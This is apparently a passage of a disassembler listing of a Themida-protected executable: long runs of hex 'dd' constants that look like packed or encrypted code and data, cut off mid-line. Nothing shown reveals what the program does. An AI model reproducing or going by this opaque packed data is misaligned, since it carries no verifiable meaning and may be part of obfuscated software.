0A2FB54BDh, 5621AA5Bh, 0AA1C6377h, 61795621h, 63815B29h dd 6125EC2Bh, 0D3353431h, 7A56F193h, 95721060h, 98AA457Dh dd 567D4EC3h, 4E1C6377h, 607A567Dh, 8C21AA19h, 0F572D436h dd 1442A00Eh, 3F863CCh, 0CF1442A0h, 4E7F5466h, 0E3F7D674h dd 29FE10ABh, 19607A56h, 34521AAh, 0F006E482h, 360B1DB8h dd 30920DBEh, 42A0CCB3h, 8D1A8A14h, 0AF40BAEEh, 8E0B5BB4h dd 14425DE9h, 4DEAFC65h, 0F4926B19h, 9572FE18h, 75516B7Dh dd 946D0B5Bh, 4E8D6274h, 697A567Dh, 69D4F0CBh, 1442A092h dd 377ED740h, 9D7A18AAh, 779E7385h, 66476994h, 0D30BC064h dd 2092F193h, 4FE60FADh, 0F10DE8FAh, 906C8698h, 7D4E2F76h dd 11617956h, 2B7B9973h, 42A0C9AEh, 0A1C8514h, 5621AA35h dd 0AA19607Ah, 920BC021h, 1DC2E420h, 132552EBh, 9294CE76h dd 0AA107120h, 0B0C26D6Eh, 8F6EB996h, 34D2227Bh, 68033B5Bh dd 7D4E8156h, 0EC697A56h, 1442A017h, 0BA015AC3h, 0F9D6744Eh dd 7125C4DAh, 338CE2AAh, 3A4E2DFBh, 0FC0E6702h, 5E7C5627h dd 92209217h, 6FDCB55h, 32BB8193h, 91862092h, 2510A7BFh dd 41CF913h, 15F492BDh, 7CD5F5CEh, 0D197A944h, 0B2E37748h dd 56BB3D50h, 35552E79h, 0C20962FDh, 0FE18F492h, 52F0CAECh dd 73485A78h, 1A617956h, 619F492h, 42A0F289h, 9EF76014h dd 0A1BD9866h, 6375CE69h, 2092149Dh, 217DCDEh, 622FD98h dd 0C8DA33CEh, 0B4DFA79Dh, 0E893D317h, 1A52704Ah, 0CDB22F7Fh dd 891442A0h, 56390E20h, 4E1A6179h, 6179567Dh, 7721AA1Ah dd 5977842Ch, 0D30BC0FCh, 7956F193h, 0E13A502Eh, 567D4E9Ah dd 0AA1A6179h, 2B7C5621h, 96DD364Eh, 9512744Eh, 1442A0EEh dd 7D9EFC6Ch, 0DA0DBC8Fh, 929A6F81h, 0C90115F4h, 0AFC3A22Eh dd 8EA6839Dh, 0B3309247h, 1442A0CCh, 0ED0F218Ah, 5F7B561Ch dd 0C621AA18h, 0A0807705h, 0E5581442h, 0E893D3E6h, 44566C4Ah dd 561DAE6Fh, 36EB597Ah, 0F390C796h, 0D0AC4A9Ah, 0CE7477AFh dd 389122F5h, 7E536500h, 12B921AAh, 0A06E1592h, 8BED1442h dd 42A0690Eh, 6A7CE514h, 34D2228Bh, 6D084056h, 0F492865Bh dd 0CAECFE18h, 617956F9h, 5621AA1Ah, 700E5E7Ch, 0A43F7797h dd 21AABD92h, 552E7956h, 0EE8CDC35h, 10E5F713h, 79567D4Eh dd 21AA1A61h, 522D7A56h, 0A63FE36h, 567D4EC3h, 4E1A6179h dd 607A567Dh, 5621AA19h, 4E185F7Bh, 607A567Dh, 927D4E19h dd 0A0CCB330h, 218A1442h, 0FE1AF50Fh, 7A18AAB7h, 9C71839Fh dd 18AA12B9h, 8F424AA6h, 6CF86EDAh, 9267798Dh, 6A8A6B77h dd 7C56437Ch, 7C58265Eh, 0C6492A62h, 0A9C39F9Eh, 807DD671h dd 0E893D381h, 0B2E1CD76h, 0BCCE566Ah, 0A709B9E7h, 42A0552Ah dd 86980114h, 923092B1h, 0C8639BB7h, 3244623Ch, 42A04239h dd 60A71014h, 0FD19F492h, 0F6182AC5h, 401CBA1Ch, 0A0C4BB26h dd 29921442h, 78564217h, 744E1B62h, 67D7FCD6h, 75460E35h dd 9E7D0962h, 0A5B7528Ah, 627856D0h, 9230921Bh, 0C66199B9h dd 42A0A45Bh, 69C93214h, 52B4F8E9h, 0E2A8BAE4h, 19F49259h dd 7E9271FDh, 8A67736Ch, 6D3F7C6Ah, 0E893D35Eh, 0A0720986h dd 64E11442h, 1442A09Fh, 1881D23Bh, 0F4923106h, 0D4F2CC17h dd 1CA8437Bh, 0F9132541h, 4EBE051Bh, 5F7B567Dh, 567D4E18h dd 4E175E7Ch, 6A444D7Dh, 5621AA23h, 0AA1B6278h, 92418A21h dd 0EECC17F4h, 0AC05A0D8h, 1B49FD9Ah, 57642092h, 0CCD6929Dh dd 1B20DFBAh, 1AB5E05Bh, 0DE00000Ah, 165D7D56h, 9D7A18AAh dd 0A0B24D85h, 8AFCC6CBh, 400EEA01h, 754A5CDAh, 0D5D7D56h dd 4078946Fh, 4EBE93A5h, 0DFFBD674h, 0E3FDD9A7h, 0A5B710ABh dd 307756D0h, 9AE13A54h, 807721AAh, 581442A0h, 1C637756h dd 7D567D4Eh, 23014E2Ah, 4C28B40Dh, 65FFA32h, 9221AABFh dd 0C90115F4h, 92231C2Eh, 0CA23A8E4h, 93D3E6E5h, 720986E8h dd 0E01442A0h, 0D5AA2777h, 811442A0h, 56310618h, 32502A7Dh dd 14EB68FAh, 0C21442A0h, 60A70059h, 619F492h, 42A0F289h dd 9EF76014h, 56996A8Ch, 0AA165D7Dh, 5C775621h, 0BF911AE0h dd 4188E108h, 16F492h, 220FAC8h, 76D62FCAh, 69CC27E7h dd 29EF0172h, 0F3556DA0h, 42A08176h, 0D2E44D14h, 0F193D3FDh dd 165D7D56h, 7D567D4Eh, 21AA165Dh, 0F0BE3092h, 0AF8565A4h dd 0CA1FE44Fh, 52BB1442h, 8E7E4740h, 6DEE23A8h, 0DD20925Eh dd 0B61616DFh, 0BDDDB642h, 3BD8EA85h, 61DE500Bh, 0F40EEA3Ah dd 97C121BCh, 320719A2h, 0D5D7D56h, 6A7C906Fh, 2744E95h dd 45F73EFAh, 4C2133A0h, 54307756h, 966DEA3Ah, 441442A0h dd 4E3B82DBh, 5D7D567Dh, 92309216h, 0CC679FB3h, 42A09A61h dd 721FD14h, 753B4DB6h, 18F492ECh, 0AA24C6FEh, 0EECEEBA4h dd 40394BA4h, 144207BBh, 0D3E6E521h, 3092F193h, 42A0CCB3h dd 15EE8A14h, 708A9CF5h, 0C5277797h, 0C42F4D27h, 1442A03Fh dd 0CAA6329Bh, 0CBDD78B0h, 0BE3092F6h, 1FFB0286h, 0D5AA15FBh dd 721442D1h, 33B97FDCh, 0E454A5E1h, 66020941h, 0FF116A50h dd 7D560CDDh, 21AA165Dh, 0F49212B9h, 0EECFE18h, 42A0EA91h dd 0F1F76914h, 9A74D866h, 0A057D424h, 2E144276h, 6BD4B3C5h dd 0C021AA24h, 0F193D30Bh, 4E2A7D56h, 861FC34h, 2744EC1h dd 0CDBF6AC2h, 7EFB4B40h, 144226F9h, 5DAEC55h, 0D7637756h dd 7B7E0FCh, 3F0C1C95h, 0E4F6D978h, 18F4920Fh, 7AD3F1CBh dd 0E8FA10EEh, 7D569922h, 0A012E966h, 24C01442h, 7BD42D49h dd 0C021AA34h, 0F193D30Bh dd 159212B9h, 1442A06Eh, 0C13383ECh, 0D3EA6E6Fh, 795AA090h dd 13EFED93h, 92D3A8BAh, 0C51D320h, 0B4311910h, 14428BCFh dd 0B7C9228Bh, 7D56C495h, 21AA165Dh, 159212B9h, 1442A06Eh dd 5B7350ECh, 21FC8823h, 0AA65AC05h, 0D30BC021h, 714AE893h dd 4F06C24Ah, 0FB546DB6h, 7D5614E9h, 0A012E966h, 57C01442h dd 0A0F58A07h, 0F8611442h, 7D4E589Fh, 21AA12B9h, 997614AEh dd 9CAE4981h, 617956C7h, 0B618AA1Ah, 42A04239h, 0E2F6D514h dd 41162891h, 0A06E1592h, 0D9DD1442h, 781B8C14h, 5079E233h dd 0A2802A0h, 502537D2h, 0FF17F492h, 0ED920FEDh, 6A1442A0h dd 9FD7EFCCh, 0AA13F204h, 0B97D4E63h, 7A18AA12h, 1FF8849Eh dd 0B918EDFFh, 73916B09h, 21AA8C61h, 0CCB33092h, 8A1442A0h dd 19F50F21h, 7D4EB8FFh, 845EFCC6h, 23A5A33h, 27FC0E67h dd 42A08077h, 5E6D5814h, 0AEF193D3h, 4E35B214h, 0C1442A0h dd 56BC91A3h, 0F2CD6B78h, 98039ED6h, 1442A0E3h, 33B5B34h dd 4EAE1768h, 90D0EC3Bh, 90D730EAh, 0FCC621AAh, 6E95618Ah dd 0D5611E85h, 0F7CCDEFAh, 1B627856h, 0C81BF492h, 3E76CFEFh dd 9E6F91A3h, 1B627856h, 807721AAh, 581442A0h, 255D7D56h dd 28607C57h, 531F47C4h, 0F492CFDEh, 2EC90115h, 94C77F1Ch dd 0E823AB22h, 0AFC17AF1h, 6B7856DAh, 42A009EEh, 35CC514h dd 567D4EBCh, 74126278h, 94697B9Bh, 807721AAh, 581442A0h dd 2A627856h, 31697D5Ch, 0D299CD50h, 2ED69939h, 0C81DA6Bh dd 0F193D3FDh, 1B627856h, 5C67D4Eh, 42A08077h, 0E6E55814h dd 0AEF193D3h, 16F4921Dh, 0D636EBF9h, 0E23BC68Fh, 0E3FD0FAAh dd 19FEF05h, 23F80A26h, 9C7A18AAh, 0C2B93686h, 901442A0h dd 56401527h, 0FDD66278h, 0E10AA5DDh, 6E15923Ah, 0EC1442A0h dd 7D4E3C83h, 0E69709B9h, 851C0D8Fh, 924F2436h, 0A0CCB330h dd 218A1442h, 0CFB4310Fh, 8C1442A0h, 0A9F211EEh, 5D7A86D2h dd 3C1B2D86h, 0BE512DCCh, 1F6FEDF3h, 426BDDA2h, 0B7107914h dd 47930567h, 22E766F9h, 12B348B3h, 0AF1F1442h, 44477FF0h dd 6779D275h, 0B921AA92h, 7A18AA12h, 5A76519Eh, 1C2EC901h dd 62785647h, 0D6744E1Bh, 0F9CEE0FAh, 807705C6h, 581442A0h dd 20925E6Dh, 343CF603h, 0FD9AACF3h, 14AE1B49h, 87B24AA2h dd 4658524Ah, 9212B971h, 42A06E15h, 3383EC14h, 0FABE7FC1h dd 0D4E644F2h, 927D4EFFh, 0EAFC1AF4h, 0AF2C8E28h, 1442A0C8h dd 360B1D86h, 0F49205C6h, 0D0F0C91Ah, 6CA4FD98h, 0A0A65DDAh dd 0CB341442h, 90676072h, 481442A0h, 4E2C7B56h, 0C650038h dd 7A3132D4h, 6C86508Eh, 0B5ED01E0h, 0BAF20AE7h, 0C480FD1Fh dd 0D3908F8Ch, 6F4AE893h, 0E4791B53h, 0BE2BCFC7h, 895E70C9h dd 78561DAEh, 30921B62h, 42A0CCB3h, 0F218A14h, 12B9C049h dd 0A06E1592h, 83EC1442h, 5220923Ch, 82298B19h, 3A0B2D3Fh dd 14AEA977h, 7856810Bh, 7D4E1B62h, 19607A56h, 9E7A18AAh dd 9FB14C84h, 1AF492CAh, 1729C4FCh, 0B9091FFDh, 0F0283C1Bh dd 32599D4Eh, 0EF4860E4h, 18AA08DDh, 704FA07Ah, 3089245Ch dd 0F5D15DF8h, 0F608A3DBh, 61795621h, 657F5B29h, 9DC94C2Dh dd 0D3D9D8D5h, 7A56F193h, 7D4E1960h, 115F492h, 0C5BA37C9h dd 911442A0h, 0A3BDCF28h, 4E68AFC5h, 0DFFBD674h, 25FA0CA7h dd 19607A56h, 707721AAh, 48533FCAh, 633FDDE5h, 0E61E3C16h dd 0BE0F24Bh, 0CCB33092h, 8A1442A0h, 32720F21h, 607A5690h dd 0D6744E19h, 0B6CCAAFDh, 528AE37Eh, 56D0A5B7h, 0AE10607Ah dd 0A028CF4Ch, 3DA61442h, 42A02DD2h, 0DD39A914h, 0A3748ACh dd 875C6EC7h, 39B618AAh, 1442A042h, 0A9E1F7D5h, 4254BD0Eh dd 6179566Dh, 5621AA1Ah, 5A28607Ah, 0C72B637Fh, 0E1561A4Ah dd 271957C9h, 0F26CA5C0h, 92A4FD15h, 0E893D3BDh, 931AAE76h dd 7D8FF569h, 1AF492A8h, 7A9470FCh, 51724E68h, 1CB61F1Bh dd 0E82F881Fh, 51CE3092h, 1442A0AAh, 0AF54BF28h, 2B1442A0h dd 0BD8EB0C2h, 19607A56h, 93A618AAh, 90BAD82Bh, 0E8415B37h dd 707701D6h, 48533FCAh, 93D35E6Dh, 2D7A56F1h, 98DF3850h dd 0CCB33092h, 8A1442A0h, 0A2FB0FEEh, 22946E90h, 4E1372D6h dd 8D6274BDh, 165D7D56h, 0D87721AAh, 0B02547B1h, 165D7D56h dd 0F9D6744Eh, 92FACFE1h, 0E642BE30h, 6F9001B7h, 426F7F04h dd 0A8C6A014h, 1B84D570h, 0F616EF09h, 7721AAAFh, 1094A2D1h dd 92E6E5A9h, 0A0CCB330h, 218A1442h, 9032720Fh, 165D7D56h dd 7D567D4Eh, 0BE9B0D5Dh, 0A653EDDBh, 0AA461B2Dh, 0A05E7721h dd 0E52E189Bh, 0F193D3E6h, 165D7D56h, 7A567D4Eh, 30921960h dd 638BBEh, 7EE982E9h, 14421BF9h, 14DAEC55h, 5D7D568Bh dd 6D21AA16h, 0F193D35Eh, 10607A56h, 724C9372h, 28811C54h dd 2C4622F0h, 0EE0059F4h, 1AF49219h, 1729C4FCh, 7D5624F5h dd 2092165Dh, 0DE71CAEh, 0A7C9DBB6h, 607A56D6h, 9221AA19h dd 0C4FC1AF4h, 1FFD1729h, 21AAC209h, 93D30BC0h, 19F492F1h dd 9B924F6h, 69C26BB0h, 47613D57h, 0C67D4E00h, 17F49205h dd 1A2CC7FFh, 42A05A21h, 0E6E50214h, 4AE893D3h, 8A07576Bh dd 1442A0F5h, 11E6F861h, 79561DAEh, 0A7CEFA5Ah, 5DB63368h dd 9221AA16h, 42A06E15h, 5A83EC14h, 18F492B3h, 910EECFEh dd 1442A0EAh, 4EB8FF68h, 0B330927Dh, 1442A0CCh, 160F218Ah dd 1442A06Dh, 6A7956FBh, 42A016EDh, 25BC414h, 0B97D4EBBh dd 0BE309212h, 4BA7F632h, 8E879939h, 144239E9h, 21A2F565h dd 0AA0CA085h, 21AA0A51h, 46CEE177h, 0E6E5B92Bh, 51CE3092h dd 1442A0AAh, 0AF54BF28h, 2B1442A0h, 429BB18Fh, 87BFDBB6h dd 93DDAECh, 9212B95Bh, 8B73BE30h, 3D57A0E8h, 75104860h dd 6A110A1Ch, 0E814427Fh, 0B8912F7Fh, 0B3C56098h, 6E1592DEh dd 0EC1442A0h, 744E3C83h, 7D997412h, 42A06D12h, 6E80E914h dd 9212B999h, 42A06E15h, 3C83EC14h, 795621AAh, 21AA1A61h dd 93D35E6Dh, 9212B9F1h, 42A06E15h, 3383EC14h, 46F6CBC1h dd 8A9CDB10h, 6E1592B5h, 0EC1442A0h, 7D4E3C83h, 209205C6h dd 38620429h, 9570FCB8h, 896E6779h, 4614428Fh, 0A2B4CAA8h db 0CDh, 0E5h, 0E6h byte_5FC39B db 0D3h ; DATA XREF: Themida_:005854D4o dd 1DAEF193h, 0C7597A56h, 0BF0E72FAh, 925299F2h, 0BAC08120h dd 1123D4AFh, 9B9C24Bh, 6173916Bh, 18F4928Ch, 910EECFEh dd 1442A0EAh, 0F58A0769h, 611442A0h, 9E07E6F8h, 0B9D5B04Eh dd 0FFD4E681h, 0E1777D4Eh, 0B92B46CEh, 0FB1BF492h, 0FE1AF5C3h dd 0C0D22BC6h, 60B0CAA6h, 93CBE7C2h, 0A0FF8401h, 0F25B1442h dd 4EB28799h, 6E15927Dh, 0EC1442A0h, 92B35A83h, 42A06215h dd 3787F014h, 90A2BE99h, 5621AABBh, 9219607Ah, 0C7258E20h dd 0A6857D2Ah, 66BF5A92h, 8AFC8E54h, 6958F88h, 491E3011h dd 0F4925E6Dh, 0F79CFC1Ah, 83F4289Dh, 0D1953244h, 0A18B38AAh dd 102928F4h, 795629FEh, 1A972961h, 1442A065h, 0A32F88F1h dd 0DD84ADC7h, 89F32092h, 1BC4CA2Ch, 262512Ch, 43CF38CBh dd 7B164E66h, 650E8B69h, 0E91442C5h, 15923980h, 1442A06Eh dd 1E07BEDh, 6170C3CFh, 0AE00704Fh, 41EEA7C7h, 0F593E33Ch dd 2EC90117h, 799A61DEh, 0CF381442h, 7D4EE8BDh, 19607A56h dd 9B97D4Eh, 0C60C9F97h, 0F608627Ch, 5621AA21h, 9F116179h dd 0E903C5CCh, 8DDEFFFh, 5C67D4Eh, 42A08077h, 5E6D5814h dd 0AEF193D3h, 0AA12B91Dh, 6B09B921h, 0D1EF708Dh, 0F7EA67C8h dd 0B9CB669Eh, 7A18AAE4h, 5B77529Dh, 0B91BF002h, 7A18AA12h dd 7C4A82A0h, 1D2F889Eh, 63775648h, 0C67D4E1Ch, 0A0807705h dd 0DD4F1442h, 2C0A1383h, 9770B616h, 56F5CADCh, 58265E7Ch dd 0BC945A7Dh, 0FA9F7841h, 0BD9B69A1h, 0D8D46FA7h, 0A61B570Fh dd 0E893D397h, 0C48BDF76h, 53D0753Fh, 14425FACh, 5668C12Ah dd 0B214AE81h, 42A04E35h, 0D9F7D114h, 4CB506A1h, 7A56653Ah dd 21AA1960h, 7A5605C6h, 7D4E1960h, 6FBE3092h, 94EDE447h dd 35B54AB5h, 0B8211442h, 96B08CA6h, 7721AA4Fh, 1442A080h dd 0BDD3B14Fh, 556DD6ABh, 86BEDEB7h, 0D304D9EBh, 0F492F193h dd 0D3EDFF17h, 0EF8DDDF7h, 13E8FA12h, 7302744Eh, 3CDB7054h dd 92D4A9BBh, 0C4FC1AF4h, 54841722h, 68C12919h, 46603C56h dd 7721AAFFh, 1442A080h, 0E3556D58h, 53DA3D1Bh, 20F5079Bh dd 56F193D3h, 7210607Ah, 956A7C96h, 12B97D4Eh, 7A5621AAh dd 0A017EC69h, 7FB41442h, 0E00DE0E1h, 0BA137CCDh, 0D4F2CC6Ah dd 18AAEDC2h, 0A04239B6h, 0A7101442h, 12B9C095h, 0B9923092h dd 0B4C66199h, 42A0C8BBh, 0B8359714h, 1442A1C3h, 0ADDDB480h dd 0FC4DC7F3h, 336B8360h, 4E2D3F98h, 18F795E5h, 1F31CC04h dd 2744E4Ah, 0DBB9C8E8h, 92F28DC5h, 9F792188h, 8AC82881h dd 0A8321395h, 56714658h, 4E19607Ah, 0A214AE7Dh, 7AD17494h dd 0F010E9B5h, 0C6B08597h, 0A0807705h, 6D581442h, 0F193D35Eh dd 12B91DAEh, 0F49221AAh, 0D2ECFE18h, 4E96DDF5h, 5F7B567Dh dd 17F49218h, 1BF9C7FFh, 0D49AAC05h, 5605C64Bh, 710F5F7Bh dd 0A5407898h, 744EBE93h, 0A0EE9512h, 36C1442h, 7D561CF1h dd 21AA165Dh, 1A971D77h, 6D46E435h, 5787ED4Dh, 7533C15Ah dd 7D568E63h, 744E165Dh, 0D1E3F7D6h, 2A7D56FCh, 93DA334Fh dd 117721AAh, 0E9351A97h, 93D3E6E5h, 536F4AE8h, 7D566C41h dd 956F0D5Dh, 18A43F77h, 3A0F213Dh, 7B567D4Eh, 18AA185Fh dd 0A04239B6h, 74101442h, 13257E98h, 5D7D563Eh, 6D21AA16h dd 0E893D35Eh, 0EB501486h, 0B913D771h, 42F9A94Eh, 0D7631614h dd 0D192C188h, 30051780h, 512C7B56h, 4E95DC35h, 9212B97Dh dd 1BFCE220h, 13860257h, 0C7BF1F10h, 6D334534h, 2A7D56E4h dd 60FB334Fh, 87E0F6D4h, 927D4E40h, 0BB958220h, 9521B9ABh dd 0CE69A1B7h, 775112BCh, 1442A080h, 0D35E6D58h, 2092F193h dd 0FDAC8E73h, 81435563h, 5F7B56F0h, 7721AA18h, 1442A080h dd 0D35E6D58h, 0F492F193h, 0D0EAFC1Ah, 9292D9F5h, 0A0CCB330h dd 337B1442h, 7173222Dh, 0EBCA66B7h, 4A6C7ED7h, 5F7B5679h dd 0B921AA18h, 6E159212h, 0EC1442A0h, 21AA3C83h, 93D30BC0h dd 5F7B56F1h, 0D6744E18h, 976CE9FAh, 431442A0h, 9A6F81DAh dd 365F7B56h, 5621AA8Fh, 0AA185F7Bh, 0D30BC021h, 12B9F193h dd 0A06E1592h, 83EC1442h, 927D4E3Ch, 0C3FB1BF4h, 0C7FF19F5h dd 0A7C1D32Ch, 9269B0CCh, 0EBFD19F4h, 12B99C25h, 0A06E1592h dd 8CEC1442h, 0A0D6AD2Ah, 1B841442h, 42A0CBB0h, 0C51E8714h dd 0E0FCD775h, 26FB0DA8h, 795621AAh, 825B2961h, 24EB2A62h dd 500E3060h, 0A712F2DEh, 3EBB4B64h, 144241B9h, 4153AC15h dd 0F193D36Ch, 185F7B56h, 12B97D4Eh, 1DAE21AAh, 309212B9h dd 42A0CCB3h, 11EE8A14h, 0CD26C1F9h, 566CF5BBh, 4E1B6278h dd 5E7C567Dh, 5621AA17h, 0AA175E7Ch, 5605C621h, 0AC0E5E7Ch dd 42A0482Fh, 8B9D0614h, 567D4EB6h, 15EA677Ch, 0C11442A0h dd 4E62B351h, 6DC6682Ah, 21AACD14h, 817F492h, 42A0F48Bh dd 0A0F96214h, 0A0EE958Eh, 0B6D1442h, 42A0E98Eh, 70FC6514h dd 0A7427A94h, 5E6DC095h, 56F193D3h, 9C0E5E7Ch, 0F3770846h dd 0FACFE1A7h, 9512744Eh, 1442A0EEh, 1CF1036Ch, 175E7C56h dd 0FAA618AAh, 0FA973FAAh, 772E0315h, 1442A080h, 0DB9FDD4Fh dd 0F9314926h, 3FFEFE5Eh, 0E513E8FAh, 15643FDDh, 4DE82038h dd 0F21BCF4h, 0F193D33Ah, 175E7C56h, 12B97D4Eh, 0F49221AAh dd 0D3EDFF17h, 0AA94DBF9h, 839F7A18h, 12B99C71h, 0A0621592h dd 87F01442h, 567D4E40h, 92175E7Ch, 890619F4h, 1442A0F2h dd 669EF760h, 0F4BF6BCBh, 0CAD7AE8Eh, 0AEC596B8h, 879C7614h dd 42A0750Ah, 1F78E114h, 653A4CE7h, 598205C6h, 697B561Dh dd 9257FE27h, 42A06E15h, 3C83EC14h, 0F9D6744Eh, 0FC0EA9E1h dd 0AA12B927h, 0A0807721h, 6D581442h, 0F193D35Eh, 159212B9h dd 1442A06Eh, 4E3C83ECh, 2B7C567Dh, 0CFAC384Ch, 4E175EB7h dd 0DAF9D674h, 44E8283Bh, 0A9BB14AAh, 5E7C56D4h, 7721AA17h dd 1442A080h, 0B7556D58h, 0F18CC4D8h, 5F718765h, 0E893D38Ah dd 0DF5C6F4Ah, 1442A018h, 0E2F44DB6h, 5E7C560Dh, 0B3309217h dd 1442A0CCh, 0ED0F218Ah, 0CE30921Ch, 42A0AA51h, 54BF2814h dd 1442A0AFh, 5836C22Bh, 5D6F0A42h, 44B6943h, 807721AAh dd 581442A0h, 76F3556Dh, 1442A081h, 0FDD2E44Dh, 92F193D3h dd 0A0CCB330h, 1A8A1442h, 0ECE6C1B9h, 4D5FB84Bh, 33345933h dd 0F64794A0h, 4ECF166Fh, 2B7C567Dh, 60FB3351h, 21AAC007h dd 159212B9h, 1442A06Eh, 923C83ECh, 0A0CCB330h, 218A1442h dd 0B9C0490Fh, 15F49212h, 1C2EC901h, 4C26C456h, 0A0C5BA37h dd 28911442h, 56E8BDCFh, 15EA677Ch, 0C11442A0h, 92B8FF58h dd 0EE0016F4h, 0FCC6FBCCh, 19647F5Eh, 8357DA70h, 0DF7AB20Bh dd 8077F8CDh, 581442A0h, 20925E6Dh, 96A8EE6Fh, 37D4E6D1h dd 6DEA4C0Fh, 1442BF96h, 744FDB44h, 0AE714658h, 6179561Dh dd 0E9168838h, 0EB120EF9h, 92471C2Eh, 6256BE30h, 0D8E642CBh dd 0BE36CDC6h, 34A41442h, 0ACF9B6Eh, 0FF4FA865h, 255B209Dh dd 8EF71442h, 7D4EA77Ch, 20921DAEh, 71A4766Bh, 8BA7B959h dd 637756AEh, 6503CD2Bh, 46607286h, 0CABF5367h, 0EBBD5FCEh dd 1512182h, 2D661314h, 21DA1442h, 0A514C5D1h, 0C1DBB755h dd 0C5DFBB89h, 8799F28Dh, 1D3512A2h, 7E967389h, 7803E846h dd 9B14C5D1h, 4C33B0BDh, 0A14C5D1h, 0D6EF48A1h, 0D1C2553Ah dd 0DCE414C5h, 246E576Ah, 0C8DA0892h, 0A75C7B2Bh, 1486C4AAh dd 1705h, 20929400h, 0F875D72Ch, 1442F103h, 990666CFh dd 4019A5B1h, 0DC2B0E20h dd 245C7E56h, 29617956h, 2F677D5Bh, 31698761h, 346C8863h dd 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h, 6E1C68EEh dd 0BCE907EBh, 0E9FFF8D6h, 0E00EAD2Bh, 3BE9h, 0BD8B6000h dd 7E40E39h, 3304EF83h, 0BBC18BC9h, 0EDB88320h, 0BE04C783h dd 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh, 41FFFFFFh, 0F9810789h dd 100h, 0FFD3820Fh, 0C361FFFFh, 7E8C88Bh, 0FE000000h dd 0B65D50FAh, 0BF669B27h, 8159486Ah, 631FC1h, 0CF816600h dd 0DB33B5E8h, 10E950h, 15A00000h, 28B3EB1Ah, 53CEF88Ch dd 96C8FFF8h, 8B5F23E8h, 0BD8B1904h, 7E41429h, 94CEE881h dd 958B625Bh, 7E40D31h, 7F9CF081h, 958B5615h, 7E4241Dh dd 119CC081h, 958B25DAh, 7E426C5h, 0FE96050h, 29000000h dd 44755BCh, 44DDE7E2h, 83AF72DBh, 958BC2B9h, 7E424BDh dd 19048F61h, 0BE8h, 54A05400h, 1D6F941Ah, 5F24E592h, 14E8h dd 8BE8CE00h, 0BF12FC17h, 4FBCBB4Ah, 207635C0h, 4650FD94h dd 8F0FC7h, 5F000000h, 759D895Ah, 8307E416h, 8B5202EBh dd 0E424F9BDh, 4B4B5F07h, 0FB815FB2h, 0FFFF9DB0h, 0FF61850Fh dd 0BA66FFFFh, 8D8D7624h, 7EBA980h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0FCC35545h, 0DC5D8691h, 8D014A9Ch dd 7E42039h, 909B529h, 8D8907E4h, 7E41B71h, 0A185C7FCh dd 0F407E42Dh, 6A00006Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0DA9FC355h, 0BF0F9B33h dd 7E8C3h, 25D10000h, 70779CD7h, 59958B2Ch, 5F07E42Dh dd 22B985C7h, 7E4h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 35CAE3C3h, 8EEFD8E8h dd 165DBD8Bh, 0BE6607E4h, 0B5FF4A09h, 7E422FDh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0B3C35242h, 0C94AE5E0h dd 0E81C27A1h, 10h, 8831CDE0h, 0AA2F1A91h, 3EB682D6h, 16BEEFC8h dd 1F9D8589h, 0E95A07E4h, 14h, 0C83F7E6Fh, 0AF300156h dd 8B6B78D1h, 28BB66A8h, 0AE7B23A4h, 306195FFh, 0BD0107E4h dd 7E43001h, 95FF006Ah db 41h, 0Eh, 0E4h byte_5FCE0B db 7 ; DATA XREF: Themida_:005844C4o dd 0EEBC08Bh, 0B5D754DBh, 7E334F45h, 4537861Bh, 0CAFE8AC9h dd 0A80E6D0Ch, 8A4AE5E3h, 0A80E724Bh, 75EAD5ABh, 0A80E7223h dd 8A4AFAE9h, 57AE5DBAh, 8A4AFB46h, 0A80E7313h, 75EAD5ABh dd 0A80E73DAh, 8A4AFBB4h, 0A80E7064h, 8A4AF836h, 0A80E70DEh dd 75EAD5ABh, 16D42F25h, 312C1FEh, 43F837C0h, 0A690A753h dd 215649EEh, 61BCB3D1h, 2BD42F42h, 312C1FFh, 43F83FC0h dd 5190A753h, 215649EEh, 61BC8FD1h, 9AD42F42h, 312C1F8h dd 43F80BC0h, 0D90A753h, 215649E9h, 61BC9BD1h, 63D42F42h dd 312C1F8h, 43F817C0h, 9E90A753h, 215649E8h, 61BC97D1h dd 0FDD42F42h, 312C1F9h, 43F863C0h, 1C90A753h, 215649E8h dd 61BCEFD1h, 7FD42F42h, 312C1F9h, 43F86BC0h, 9A90A753h dd 215649EBh, 61BCE7D1h, 12B8C342h, 0DF152A50h, 6CD24ECEh dd 8AFD4AA8h, 0F251A245h, 206DC0D5h, 0ED96A5AEh, 8A152AA8h dd 0A0242945h, 0B496E367h, 0A1D5ADBAh, 0CB152A54h, 415564C6h dd 75EAD5BAh, 3AAE63CEh, 8DF106A9h, 0AB534284h, 0FFEA2211h dd 0A4245D55h, 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h, 44DAF745h dd 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h, 62AD6C54h dd 351A241h, 27BFEA66h, 0DDDB2FEEh, 7512C136h, 2011294h dd 0E860A0D9h, 79AEA5AEh, 0AE51A1ECh, 22DC0941h, 8DFE4821h dd 103773BAh, 21732ADFh, 0CA2428C8h, 5BEA2DBFh, 8C152BFDh dd 988150h, 0AFBAC030h, 0D2A5FBABh, 0A42C89EFh, 0EBE957DDh dd 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h dd 212DC0D5h, 0DDDAA5AEh, 8668A15Ch, 0A8ADE782h, 0CC152A54h dd 8FCC30BAh, 529E2DB0h, 83FC69CEh, 0E2A5B997h, 0F9FA31EFh dd 0E860A0D9h, 79AEA5AEh, 20949A0Dh, 8C551A23h, 21848132h dd 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch, 549521A9h dd 8A15C234h, 290BA245h, 61BEA5BEh, 0A0242942h, 4D1957DFh dd 0A8515E00h, 75532A54h, 4C763FD7h, 19CDA153h, 9BFC69CEh dd 0E2A5B997h, 0F9FA31EFh, 0E860A0D9h, 79AEA5AEh, 20949A0Dh dd 8C651A23h, 21848132h, 215DDF6Eh, 174D629h, 6A985E00h dd 1402A5Ch, 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h dd 3BFDA245h, 0B91DC995h, 4919197h, 4A38F2DEh, 